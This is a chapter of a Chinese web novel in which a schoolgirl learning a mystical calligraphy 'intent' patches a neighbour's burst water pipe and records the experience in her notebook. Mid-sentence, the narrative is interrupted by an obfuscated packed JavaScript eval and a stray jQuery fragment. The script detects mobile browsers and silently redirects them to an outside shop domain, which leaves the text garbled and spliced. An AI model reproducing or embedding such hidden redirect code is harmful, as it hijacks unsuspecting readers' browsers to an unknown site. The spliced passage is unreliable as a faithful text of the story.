周伯年走了两天了。
临走时跟张清说："省城有个老友，去拜访几天。你照常练字，别偷懒。"
张清问："什么时候回来？"
"三五天。"老人拎着布包走出院子，走了几步又回头，"那三张纸，看不懂的别硬看。放一放，过两天再拿起来。"
张清点点头。
笔路图上的二十多根线条，她现在能看懂七八根的走向。剩下的，有些线条中间有空隙，有些交叉处有一个很小的圈。她不知道那个圈是什么意思。
周伯年说"放一放"，那就放一放。
她每天照常练字，但练字的方式变了。以前照着字帖临，现在临的时候会在笔画之间加入笔路图里那些线条的走势。
比如写"永"字，第三笔竖钩。以前"意"从竖的顶端一路走到底端，然后拐弯，钩。很直接。现在她会想起笔路图里第三根线条的走势，中间有一个细微的弧。那个弧不是弯，是"偏"。往左偏了一点。她把这个"偏"带进竖钩里，钩出来的那一笔比以前更有劲。不是用力气使劲，是"意"在里面转了一下，像一个人拐弯时身体往内侧倾了一下。那个"倾"，就是劲。
但这种感觉很不稳定。有时候写十个字只有一两个能带进去。张清不急。周伯年说过，笔意急不来，越急越跑，安静下来它自己会回来。
学校里的功课不紧。初一的课程对她来说不算难，语文数学英语，都不用花太多时间。同学们给她取了个外号叫"张先生"，没有恶意，只是觉得她跟别人不一样。她走路的样子，她看人的方式，她从来不跟人吵架这件事本身，都让人觉得她活在自己的世界里。
她不在乎这些。她在乎的是每天练字的那两个小时。早上一个小时，晚上一个小时。其余时间上学、吃饭、睡觉。
母亲陈苗苗出门前叮嘱她："中午饭菜在锅里热着嘛，别忘了吃嘞。"
"知道了。"
那天是星期六。上午十点左右，外面有人敲门。
张清打开门。是隔壁单元的老刘。刘德顺，四十出头，在厂里后勤科，说话直来直去。
"小张，你周伯在家吗？"
"周爷爷去省城了。"
老刘一拍大腿："哎呀。我家水管爆了，厨房那根管子裂了，水喷得满屋子都是。我找水暖工，周末没人。总阀也锈死了，拧不动。再这样下去，一楼老陈家的天花板要泡了。"
"我去看看。"张清换了双鞋跟老刘出了门。
老刘家的厨房一片狼藉。地上积了半寸深的水。水管在墙角接口处裂了条缝，水从缝里往外滋。不算猛，但一直没停。老刘拿了两条毛巾堵着，毛巾很快湿透了，水从毛巾底下钻出来。水管发出"嗞嗞嗞"的声音。水面泛着泡沫，水里的铁锈让颜色发黄。泡沫聚在墙角，慢吞吞地往地漏方向移。但地漏堵了，头发和菜叶混在一起，堵得严严实实，水下不去。
灶台靠右墙，水槽靠左墙。中间一张小桌子，桌上摆着中午没来得及收拾的碗筷，一碗剩饭，半碟咸菜。老刘在旁边急得团团转，手里拿着一条湿透的毛巾，不知道往哪儿堵。
张清蹲下来，看着那根裂缝。
她在看水怎么流。水从裂缝里出来，沿着地砖纹路往低处流。灶台底下有一滩，墙角有一滩。门口的门槛挡住了，水在门槛旁边蓄着，慢慢往门缝底下渗。
裂缝大概两厘米长，管子是铁的，生了锈。裂的地方正好是接口焊点，焊点老化了，扛不住水压。
她在心里想：如果这是一根线条呢？笔路图里的线条，每一根都有起点、终点、走向。水管也是一根线条。水在里面走，到了接口就撞，撞了就挤。挤得最狠的地方，就是裂缝。
"刘叔，家里有铁丝没有？粗一点的那种。还有胶布。"
老刘从工具箱里翻出铁丝和胶布。
张清走到水管前面，先用铁丝缠住裂缝，绕了四五圈，缠得很紧。然后用胶布裹上去，裹了好几层。
缠铁丝的时候，她手指碰到水管，在心里"走"了一根线。从裂缝上端顺着管子走向往下走。到了裂缝的位置，"意"没有停，绕过了裂缝，就像笔路图里第七根线条的走法：遇到障碍不硬穿，绕过去。
绕过裂缝之后，"意"继续往下走，一直到管子的下一个接口。然后收了。整个过程三四秒。老刘在旁边什么都不知道。
张清又从口袋里摸出一小片毛边纸，用指甲蘸了点锈水，在上面写了一个字。"通"。
写得很快，笔画简单，但"意"走得稳。她把那小片纸贴在铁丝旁边，压在胶布底下。
水慢慢小了。从喷变成流，从流变成渗。最后停了。
"行了？"老刘瞪大了眼。
"临时办法。明天还是得找水暖工来换管子。"
"够了够了！"老刘高兴得不得了，"小张，你什么时候会修水管了？"
"看电视学的。"张清笑了笑，跟老刘告了辞。
回家的路上，张清一直在想一件事。
她刚才做的不只是缠铁丝和裹胶布。她还在水管里走了一根线，又写了一个"通"字。铁丝和胶布是物理上的堵，那根线和那个字是"意"上的通。
"通"字她以前写过很多遍，但以前都是写在纸上练。今天第一次用在实物上。字写在纸片上，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809205|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
"意"送进了水管里。
回到家，张清走进书房。她站在窗边，看着隔壁单元的窗户。
她闭上眼。在心里"看"那根水管。
她不是用眼睛看到的。她"感觉"到了。就像周伯年教她的"读"，不用眼睛看，用"意"去读。
她把"意"轻轻送到水管的方向。很远。她的"意"够不到那么远。她最多能"读"到书房里的东西，桌上的笔、砚台、纸。超出这个范围就不行了。
她睁开眼。够不到。但她知道，那根线还在那里。她走的那根线。如果它起了作用，那它现在应该还留在水管里。
就像赵庄写的"安"字，效果持续了好几天。像上次帮人写的"定"字，效果持续了一天多。每一次，"意"的效果持续时间好像都在变长。
她拿出本子。翻开。在空白页上写了几行字：
"十一月十八日。阴。今天第一次把笔路图线条用在不是纸的东西上。水管，铁的，裂了。走了一根线，写了一个'通'字。不确定是不是'意'起了作用。但水停了。跟铁丝和胶布可能都有关系。但我有一种感觉，那根线还在水管里。还在走着。周爷爷说过：意到笔不到。笔没走到，意走到了，那也算。笔胆：十六道纹路。"
她合上本子。然后磨墨，提笔，在纸上写了两个字。"水管。"
不算符，也不算字。只是两个字。但她写这两个字的时候，"意"走了一根线，跟刚才在水管里走的那根线一模一样。
写完之后，她看着纸上的两个字。字很普通。但"意"很稳。
她把这张纸夹进了本子里。跟前面的那些记录放在一起。以后也许用得着。也许用不着。但她想记下来。
窗外天阴下来了，快下雨了。院子里有人在收衣服。
张清坐在书桌前，看着那三张纸。笔路图上的线条，她看懂的那些，还有没看懂的那些。
她现在知道了一件事：这些线条可以画在任何东西上。水管上，墙上，空气里。
笔路图就是一张地图。一张她还没走远的地图。
台灯的光圈照着桌面那一小块。本子翻开在记着水管走向的那一页，墨迹还没干透，反着光。屋外头有狗叫，远远的，叫了两声就不叫了。十一月的风从窗缝里钻进来，吹得灯罩子轻轻晃。
她把窗关严实。顺手把桌上的毛边纸摞整齐，拿镇纸压住。砚台里的墨还剩一点，她加了水，用墨条磨了几圈，搁在桌角。明天还要用。她站在桌前看了一眼那三张叠好的纸，最上面一张的边角翘着，她用手压了压，压平了，才关灯。屋子里暗下来，只有窗户外头路灯的一点余光，照在天花板上。